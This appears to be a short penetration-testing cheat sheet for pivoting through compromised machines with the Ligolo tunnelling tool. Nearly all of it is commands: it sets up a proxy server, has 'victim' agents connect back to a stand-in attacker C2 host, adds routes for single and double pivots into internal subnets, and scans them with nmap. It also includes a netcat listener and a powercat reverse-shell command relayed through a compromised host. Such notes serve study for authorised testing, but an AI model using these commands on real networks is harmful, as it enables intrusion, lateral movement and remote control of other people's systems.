Ligolo
Server (proxy)
sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up
ip addr show ligolo
./proxy -laddr 0.0.0.0:3389 -selfcert
Victim (agent) - single pivot
./agent -connect attacker_c2_server.com:53 -ignore-cert
Server after victim joining
session
1
>> agent xx
ifconfig
sudo ip route add 172.16.x.0/24 dev ligolo
ip route list
>> agent xx
start
nmap 192.168.x.0/24
Victim 2 (2nd agent) - double pivot
./agent -connect attacker_c2_server.com:53 -ignore-cert
Server after victim joining
session
2
>> agent yy
ifconfig
sudo ip route add 192.168.y.0/24 dev ligolo
ip route list
stop
session
2
>> agent yy
start_tunnel
Port forward in 2nd agent to receive callback from 3rd victim
victim 2 (agent 2) 25 traffics directing to attacker (server) 443 listener
>> agent yy
listener_add --addr 0.0.0.0:25 --to 127.0.0.1:443 --tcp
listener_list
listener_stop
listener_add --addr 0.0.0.0:8081 --to 172.16.202.194:8081 --tcp
nc -nlvp 443
powercat -c 192.168.x.0 -p 25 -ep
Access agent's local port
sudo ip route add 240.0.0.1/32 dev ligolo
nmap 240.0.0.1
Last updated